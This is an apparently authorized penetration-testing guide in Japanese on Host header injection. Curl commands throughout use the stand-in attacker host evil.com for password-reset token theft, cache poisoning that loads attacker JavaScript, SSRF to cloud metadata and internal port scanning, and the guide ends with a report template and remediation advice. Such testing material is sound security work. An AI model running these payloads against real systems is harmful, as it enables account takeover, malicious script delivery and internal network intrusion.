testing-for-host-header-injection

Host ヘッダーインジェクションのテスト

使用する場面

• ホストの操作によるトークン窃取を目的として、パスワードリセット機能をテストするとき
• Host ヘッダーの値の影響を受ける Web キャッシュの挙動を評価するとき
• 仮想ホストのルーティングとサーバー側のリクエスト処理をテストするとき
• リバースプロキシやロードバランサーの背後にあるアプリケーションの侵入テストを行うとき
• Host ヘッダーの操作による SSRF の可能性を評価するとき

前提条件

• Host ヘッダーを傍受して変更するための Burp Suite
• 仮想ホスティングおよびルーティングにおける HTTP Host ヘッダーの役割に関する理解
• 代替ホストヘッダー（X-Forwarded-Host、X-Host、X-Original-URL）に関する知識
• 汚染されたリクエストを受信するための、攻撃者が管理するドメインへのアクセス
• 帯域外検出用の Burp Collaborator または interact.sh
• パスワードリセットテスト用の複数のテストアカウント

法的通知： このスキルは、許可を得たセキュリティテストおよび教育目的に限り使用してください。所有していないシステム、またはテストする書面による許可を得ていないシステムに対する無許可の使用は違法であり、コンピューター詐欺に関する法律に違反する可能性があります。

ワークフロー

ステップ 1 — 基本的な Host ヘッダーインジェクションをテストする

# Supply arbitrary Host header
curl -H "Host: evil.com" http://target.com/ -v
# Check if application reflects evil.com in response

# Double Host header
curl -H "Host: target.com" -H "Host: evil.com" http://target.com/ -v

# Host header with port injection
curl -H "Host: target.com:evil.com" http://target.com/ -v
curl -H "Host: target.com:@evil.com" http://target.com/ -v

# Absolute URL with different Host
curl --request-target "http://target.com/" -H "Host: evil.com" http://target.com/ -v

# Check for different virtual host access
curl -H "Host: admin.target.com" http://target.com/ -v
curl -H "Host: internal.target.com" http://target.com/ -v
curl -H "Host: localhost" http://target.com/ -v

ステップ 2 — パスワードリセットポイズニングをテストする

# Trigger password reset with modified Host header
# The reset link may use the Host header value in the URL
curl -X POST http://target.com/forgot-password \
  -H "Host: evil.com" \
  -d "[email protected]"
# If reset email contains: http://evil.com/reset?token=xxx
# Attacker receives the token when victim clicks the link

# Try X-Forwarded-Host for password reset poisoning
curl -X POST http://target.com/forgot-password \
  -H "X-Forwarded-Host: evil.com" \
  -d "[email protected]"

# Port-based injection in reset URL
curl -X POST http://target.com/forgot-password \
  -H "Host: target.com:[email protected]" \
  -d "[email protected]"

# Test with various forwarding headers
for header in "X-Forwarded-Host" "X-Host" "X-Original-URL" "X-Rewrite-URL" "X-Forwarded-Server" "Forwarded"; do
  curl -X POST http://target.com/forgot-password \
    -H "$header: evil.com" \
    -d "[email protected]"
  echo "Tested: $header"
done

ステップ 3 — Host ヘッダーによる Web キャッシュポイズニングをテストする

# If caching layer uses URL (without Host) as cache key:
# Poison cache with modified Host header
curl -H "Host: evil.com" http://target.com/ -v
# If response is cached and contains evil.com links
# All subsequent users receive poisoned content

# Test with X-Forwarded-Host for cache poisoning
curl -H "X-Forwarded-Host: evil.com" http://target.com/login -v
# Check X-Cache header to see if response was cached

# Verify cache poisoning
curl http://target.com/login -v
# If response still contains evil.com, cache is poisoned

# Poison JavaScript URLs in cached pages
curl -H "X-Forwarded-Host: evil.com" http://target.com/
# If page loads: <script src="//evil.com/static/app.js">
# Attacker serves malicious JavaScript to all users

ステップ 4 — Host ヘッダーによる SSRF をテストする

# Backend may use Host header to make internal requests
curl -H "Host: internal-api.target.local" http://target.com/api/proxy

# Access cloud metadata via Host header
curl -H "Host: 169.254.169.254" http://target.com/

# Internal port scanning
for port in 80 443 8080 8443 3000 5000 9200; do
  curl -H "Host: 127.0.0.1:$port" http://target.com/ -o /dev/null -w "%{http_code}" -s
  echo " - Port $port"
done

# SSRF via absolute URL
curl --request-target "http://internal-server/" -H "Host: internal-server" http://target.com/

ステップ 5 — 仮想ホストの列挙をテストする

# Enumerate virtual hosts
for vhost in admin staging dev test api internal backend; do
  status=$(curl -H "Host: $vhost.target.com" http://target.com/ -o /dev/null -w "%{http_code}" -s)
  size=$(curl -H "Host: $vhost.target.com" http://target.com/ -o /dev/null -w "%{size_download}" -s)
  echo "$vhost.target.com - Status: $status, Size: $size"
done

# Check default virtual host behavior
curl -H "Host: nonexistent.target.com" http://target.com/ -v
# Compare with legitimate host response

# Access internal admin panels via virtual host
curl -H "Host: admin" http://target.com/
curl -H "Host: management.internal" http://target.com/

ステップ 6 — 接続状態を利用した攻撃をテストする

# HTTP/1.1 connection reuse attack
# Send legitimate first request, then inject Host header on subsequent request
# Use Burp Repeater with "Update Content-Length" and manual Connection: keep-alive

# In Burp Repeater, send grouped request:
# Request 1 (legitimate):
# GET / HTTP/1.1
# Host: target.com
# Connection: keep-alive
#
# Request 2 (injected):
# GET /admin HTTP/1.1
# Host: internal.target.com

# Test with HTTP Request Smuggling combined
# If front-end validates Host but back-end doesn't:
# Smuggle request with modified Host header

主な概念

概念	説明
Host ヘッダー	リクエストの対象となる仮想ホストを指定する HTTP ヘッダー
パスワードリセットポイズニング	Host をインジェクションし、リセットメールに攻撃者が管理する URL を含める手法
Host によるキャッシュポイズニング	攻撃者が管理するホストを含むレスポンスで CDN キャッシュを汚染する手法
仮想ホストルーティング	Host ヘッダーを使用して、異なるアプリケーションにリクエストを振り分ける Web サーバーの機能
X-Forwarded-Host	プロキシが使用する代替ヘッダー。Host ヘッダーを上書きする場合がある
接続状態を利用した攻撃	持続的接続を悪用し、異なる Host 値でリクエストを送信する手法
サーバー側のホスト解決	URL の生成やリダイレクトに Host ヘッダーを使用するバックエンドコード

ツールとシステム

ツール	用途
Burp Suite	Host ヘッダーの操作と分析に使用する HTTP プロキシ
Burp Collaborator	Host ヘッダーを介した SSRF の帯域外検出
ffuf	カスタム Host ヘッダーを使用した仮想ホストのブルートフォース
gobuster vhost	仮想ホストの列挙モード
Nuclei	Host ヘッダーインジェクションのテンプレートベースのスキャン
param-miner	キーとして扱われない Host 関連ヘッダーを検出する Burp 拡張機能

よくあるシナリオ

1. パスワードリセットトークンの窃取 — パスワードリセット中に Host ヘッダーを汚染し、被害者が攻撃者のサーバーを指すリンクをクリックするように仕向けて、リセットトークンを漏えいさせます
2. Web キャッシュポイズニング — Host ヘッダーをインジェクションして、攻撃者が管理する JavaScript の URL を含むレスポンスをキャッシュさせ、すべてのユーザーに対する保存型 XSS を実現します
3. 内部パネルへのアクセス — 仮想ホストを操作して、内部の管理パネルを列挙し、アクセスします
4. クラウドメタデータへの SSRF — Host ヘッダーを使用して、サーバー側のリクエストをクラウドメタデータのエンドポイントにリダイレクトします
5. ルーティングのバイパス — Host を操作してリクエストを保護されていないバックエンドインスタンスにルーティングし、アクセス制御を回避します

出力形式

## Host Header Injection Report
- **Target**: http://target.com
- **Reverse Proxy**: Nginx
- **Backend**: Apache/PHP

### Findings
| # | Technique | Header | Impact | Severity |
|---|-----------|--------|--------|----------|
| 1 | Password Reset Poisoning | Host: evil.com | Token theft | Critical |
| 2 | Cache Poisoning | X-Forwarded-Host: evil.com | Stored XSS | High |
| 3 | Virtual Host Access | Host: admin.target.com | Admin panel exposure | High |
| 4 | SSRF | Host: 169.254.169.254 | Metadata access | Critical |

### Remediation
- Validate Host header against a whitelist of expected values
- Do not use Host header for generating URLs in password reset emails
- Configure web server to reject requests with unrecognized Host values
- Set absolute URLs in application configuration instead of deriving from Host